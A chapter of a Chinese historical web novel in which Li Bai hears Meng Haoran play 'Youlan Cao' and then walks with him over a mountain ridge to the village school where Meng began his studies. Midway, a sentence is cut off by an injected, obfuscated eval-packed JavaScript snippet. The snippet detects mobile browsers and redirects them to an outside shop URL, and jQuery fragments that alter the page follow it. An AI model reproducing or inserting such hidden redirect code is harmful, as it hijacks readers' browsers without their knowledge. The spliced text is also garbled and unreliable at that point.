鹿门山的日子本是懒散的，悠闲的，没有时辰的。窗前日影从东墙移到西墙，便是唯一的刻度。鸟雀啁啾是晨钟，炊烟袅袅是暮鼓，除此之外，再没有什么非得在某个时辰完成不可的事。


    可李白依旧保持着晨起练剑的习惯。


    天光尚是蟹壳青时，他便已悄声起身，拎着剑走到草堂后院的空地上。这片空地是孟浩然特意为他清出来的，原本散放着些农具和晾晒的草药，如今平整开阔，正适合舞剑。


    他先不急着拔剑，反倒俯下身，细细查看墙角那几丛孟浩然精心侍弄的兰草。新叶抽出一指来长，叶尖还挂着夜露凝成的水珠，在曦光里亮晶晶的。


    “长势不错。”李白低声自语，伸手虚虚一拂，那几片兰叶竟微微颤动起来，露珠滚落。


    这是他在蜀山时跟一位老道学的“养气”法门，说以自身剑气滋养草木，能助其生发。是真是假他不知，但做来有趣。况且，若真能让浩然兄这些宝贝花草长得更好，也算给他个惊喜。


    不过，真要舞起剑来，他却十二分小心，总是离那些花草远远的。剑锋所向，皆向着虚空。


    正舞到“月涌江”一式，剑势将收未收之际，忽然有琴声传来。


    初时极轻，如一滴露水从叶尖坠落，滴在青苔上。接着便清晰起来，是七弦琴特有的清越之音，不疾不徐，在这山间清晨的空气里，显得格外干净、澄澈。


    李白不自觉收了势，侧耳细听。


    琴声是从孟浩然的房间传来的。平日里这个时候，孟浩然应当还在榻上拥着薄被，与残留的梦境纠缠才是。


    他心下好奇，收了剑，轻手轻脚地绕到前院。窗子半开着，透过窗棂，能看见孟浩然已然穿戴齐整，正端坐在琴案前。


    一袭月白色深衣，衣襟袖口滚着青色云纹。头发梳得一丝不苟，用一根青玉簪固定。


    晨光从东窗透进来，恰好落在他半边侧脸上，将疏朗的眉目勾勒得格外清晰。他微垂着眼，十指在琴弦上或拨或捻，神态自若，宛如从画中来。


    李白屏息立在窗外，没有出声打扰。


    他听过许多琴。在蜀山，长安，在洛阳，在达官贵人的宴席上，在文人雅集的竹林里。有技艺精湛的乐师，有自命风雅的名士。但那些琴声，要么太过匠气，要么故作清高。


    孟浩然的琴不一样。


    每一个音都干干净净的，如山泉一般，不急着往前赶，也不刻意拖长，就那么自然而然地流淌着。偶尔一个泛音，声音清越，层层漾开。


    一曲终了，余韵在山间晨雾里徘徊，久久不散。


    孟浩然双手轻轻按在弦上，止住震颤。他抬起头，望向窗外，正好对上李白那双亮得出奇的眼睛。


    “好曲子！”李白这才出声，抚掌赞道，“浩然兄今日怎起得这样早？这曲调清雅高古，不知是何曲名？”


    “《幽兰操》，相传为孔子所作。夫子见幽谷之兰与众草为伍，感伤贤者不遇，遂作此曲。”孟浩然手指轻抚过琴身，那琴是桐木所制，年岁久了，木色温润如蜜。


    李白恍然：“难怪。曲中有肃穆之气，是圣贤之音。”


    孟浩然摇摇头，站起身来，走到窗边。窗外，辛夷花正开得盛，大朵大朵的，紫中透白。


    “曲子是死的，弹的人是活的。我弹它，不是要学圣人感慨不遇。”他将琴放回架上，转身看向李白，“只是这琴是雅物，操琴亦需诚敬。晨起漱洗洁净，衣冠端正，心神宁定，如此才对得起这张古琴，对得起作琴、作曲的先人。”


    起风了，更鲜润的空气涌进室内，带来远处竹林被阳光晒暖后的清气。


    “就像你，每日晨起练剑，不也是一样的道理？剑是凶器，亦是君子之器。你以诚敬待它，它便不只是杀伐之具。”孟浩然回头，眼中含着笑意。


    李白心中一动，脱口而出：“操千曲而后晓声，观千剑而后识器？”


    “正是此理。”孟浩然抚掌，“无论琴剑，时日久了，人器相通，那便不只是‘用’，而是‘修’了。”


    这话说到了李白心坎里。他练剑二十余载，早过了追求招式的阶段。如今每一式起落，都是与剑对话，与天地之气相合。


    只是这话他从未对人说过。说了，旁人只怕要笑他痴妄。


    他抚过剑身，连同那明月佩，郑重道：“浩然兄一言，如醍醐灌顶。太白受教了。”


    孟浩然摆摆手，笑意深了些：“什么受教不受教，不过是迂腐老生的一些感慨罢了。倒是你，今日练完剑，可有什么打算？这鹿门山的春色，你还未看尽呢。”


    说到这个，李白眼睛亮了。他倚在门边，兴致勃勃地说：“正想说呢。我昨日登高远望，见岘山脚下有一处屋舍俨然，周围桃李成林，溪水环绕，倒有几分桃花源的景象。问过阿松，说是处学堂。今日天气晴好，我想去瞧瞧。”


    他本是随口一提，却见孟浩然微微一怔。


    “……那里啊。”他轻声说，目光有些飘远，但很快又收了回来。


    李白察觉到他这瞬间的异样，疑惑道：“怎么，那学堂有何特别之处？若是不便，我换个去处便是。”


    “不，没有不便。”孟浩然摇摇头，脸上重新浮起笑容，但那笑容里多了些别的东西。


    他放下手中的琴谱，走到墙边，取下了那顶素纱帷帽。


    “只是那地方……我熟。”他说着，将帷帽戴在头上，“今日我同你一起去。”


    “什么？”李白颇为惊讶。这几日他每逢外出，都有问孟浩然可要同行。孟浩然却总是笑着摆手，说年纪大了，懒动弹，让他自去探幽寻胜，回来与他说道便是。


    “怎么，嫌我这老头子同行，扰了你的雅兴？”孟浩然已走到门边，闻言回头，薄纱下的嘴角似乎弯了弯。


    “岂敢岂敢！”李白忙摆手，笑道，“只是意外。浩然兄肯同游，太白求之不得。”


    孟浩然不再多说，推门而出。


    走到檐下，他却没直接往院门去，而是拐到墙角，从一堆农具旁取了两根打磨光滑的竹杖。是精心削制的竹杖，手柄处磨得光滑，还系着防滑的布条。


    “给。”他将其中一根递给李白。


    “这是……”李白接过竹杖，更不解了。去个山脚学堂，何需这个？


    孟浩然拄着杖，抢先几步向院外走去。晨风拂动他帷帽的薄纱，声音从纱后传来：


    “那学堂……是我幼时开蒙的学塾。”


    李白脚步一顿。


    孟浩然没有回头，继续往前走：“从这儿到那学堂，看着不远，实则要翻一道岭，下一段坡。山路崎岖，有杖借力，省些脚程。”


    他推门出去，晨光一下子涌进来，将他月白深衣的身影镀上一层金边。李白忙跟上，心中好奇更盛。


    两人一前一后出了草堂。阿松正在院中喂鸡，见先生这身打扮要出门，也愣了愣：“先生今日出去？”


    “嗯，陪太白去岘山走走。”孟浩然语气平常，“午间不必等我们用饭。”


    山径起初还算平坦，沿着溪流蜿蜒向下。路两旁是密密的竹林，新笋已冒出头，裹着褐色的笋衣。鸟雀在枝头跳来跳去，见人来也不怕，歪着小脑袋看。


    李白忽然想起自己少年时在蜀中的情形，不禁感慨：“我读书时，也常穿行于蜀山山路间。青城山云雾缭绕，路比这险得多，有时石阶仅容半足，一旁便是深涧。那时也是初生牛犊不怕虎，竟不知怕。”


    “蜀道之难，难于上青天。”孟浩然轻声吟了李白的诗句，帷帽微微转动，“你写尽了。”


    走了约莫一刻钟，路渐渐陡了。溪流到了此处折向深谷，山路却要继续往上，攀一道林木蓊郁的山岭。


    孟浩然拄着竹杖，指向岭上那条几乎被荒草掩没的小径：“从这儿上。”


    李白仰头看。那路真不能说是一条“路”，只是依稀看得出有人踩。


    “浩然兄幼时……每日就走这条路去学堂？”李白忍不住问。


    孟浩然用竹杖在石上一点，借力上了一级稍高的土坎，才继续道：“是。那时还没这竹杖，用的是随手折的树枝。这里虽然没蜀道那般险，却另有一番苦处。冬日山路结冰，一步一滑；夏日暴雨冲垮路面，满是泥泞。最苦是春秋两季，露重苔滑，不知摔过多少跤。”


    “那时你多大？”李白问。


    “开蒙时六岁。”


    “那时……几点起身？”


    “鸡鸣二遍就得起。”


    李白在心中默算，鸡鸣二遍……那该是寅时，天还漆黑着。


    “天不亮就起身？”他问。


    “嗯。”孟浩然在一块稍平的石头上稍歇。晨光从林叶间隙漏下来，落在他脸上，明明暗


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16899211|182407||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    暗的。


    “冬天最苦。起来时伸手不见五指，推开木门，冷风像刀子似的刮进来。母亲会塞给我些当饱的吃食，有时是昨夜剩的炊饼，有时是烤好的芋头。怕冷了，就揣在怀里暖着。”


    他继续往上走，话却未停：“山路黑，就举着火把。一手探路，一手照明。那时用的书箧是藤编的，不重，但背久了勒肩膀。走到半路，再怎么焐，饭也凉透了，硬邦邦的，只能就着山风啃。冷风就冷饼，日子久了，胃便坏了。”


    李白听着，眼前浮现出那样一幅画面：漆黑的山道上，一点孤零零的火光缓慢移动。火光映出一个瘦小少年的身影，背着几乎与身等高的书箧，深一脚浅一脚地走。寒风呼啸，他缩着脖子，从怀里掏出硬饼，一口一口，艰难地咽。


    想到这，他感觉自己的胃似乎也隐隐作痛起来。


    “摔过跤么？”李白转而问。他小时候可没少摔，膝盖手肘总是青青紫紫。


    孟浩然笑了，这次笑里带了点无奈：“常事。这路上碎石多，雨后湿滑。有一回踩空了，连人带书箧滚下去好几步，书本散了一地，衣裤划破好几道口子。那时个子矮，书箧压在背上，摔倒了半天起不来。”


    李白心中说不清是什么滋味。一个幼童，独自离家，在黑暗中摔倒时无人帮扶，那该是何等恐惧和无助。


    他自幼家境尚可，虽也刻苦，却不曾为求学吃过这样的苦。他忍不住问：“那时……不觉得苦么？”


    孟浩然沉默了片刻。终于缓缓开口道：“苦自然是苦的。有时看着窗外别的孩子在田野里疯跑，心里也会怨，为何非要读这劳什子书。”


    他停下脚步，转过身。薄纱被山风吹得贴在脸上，勾勒出清俊的轮廓。


    “可那时夫子说了一句话，我记到现在。”


    他闭了闭眼，再睁开时，里面闪烁着坚韧。


    “他说，宽路上的人，形形色色，所到之地不过凡俗。窄道上的人，稀稀落落，所达之处却是胜景。读书这条路，从来就不是给富贵闲人走的宽路。它是给那些心里有不平之气，却除了这条路再无他途的人，留下的一条险径。”


    山风呼啸而过，吹得竹林哗哗作响。


    李白站在他身侧，忽然觉得手中这根轻飘飘的竹杖，重了几分。


    孟浩然已转回身，继续往下走。这次他的语气轻松了些：“不过那都是老皇历了。后来办了诗社，有些余力后，第一件事就是请人修了这条路。不敢大动，怕坏了山体，只把最险的几处凿宽了些，砍了挡路的树枝。现在走起来，到底好些了。”


    李白低头看路。确实，他注意到有些路段明显被拓宽过，横生的树枝也被修剪了。


    他想起孟浩然办学堂的事，忽然全都明白了。


    为何他要用诗社的进项，在乡间办那一所所束脩极低的学堂。


    为何他谈起那些贫寒学子时，眼神总是格外温柔。


    因为他从那条路上走过。他知道天不亮就要起身的寒冷，知道冷风就着冷饼的滋味，知道摔倒在泥泞里还要护着书的狼狈，也知道心里那簇火——那簇唯有靠读书才能不被山风吹灭的火。


    “所以浩然兄才要办那些学堂，让那些孩子……不必再吃你吃过的苦。”李白轻声说。


    孟浩然没有立刻回答。他抬起手，用袖子擦了擦额角的细汗——虽然拄着杖，这般攀爬对他这个年纪的人来说，仍是不小的消耗。


    “苦倒也没什么。山里孩子，哪个不是这么过来的？”他语气平静，“我只是想，既然他们不得不走这段路，那至少走到头，能有一间像样的屋子，有个认真教书的先生，有几本可读的书。这样，这路才算没白走。”


    他看向李白。那双眼依然清澈，像鹿门山深处的潭水。


    “太白，你读过《击壤歌》么？”


    李白点头：“日出而作，日入而息。凿井而饮，耕田而食。帝力于我何有哉？”


    “是了。”孟浩然微笑，“百姓所求，不过如此。有田可耕，有学可上，有路可走。这路，最好是条踏实好走的路。”


    他重新整理了一下有些歪斜的帷帽，将薄纱理顺。


    “走吧，快到了。前头下岭，就是岘山南麓。那学堂……就在溪水转弯处。”


    李白跟上他的步子。竹杖点在石阶上，一声，一声，在寂静的山林里传出很远。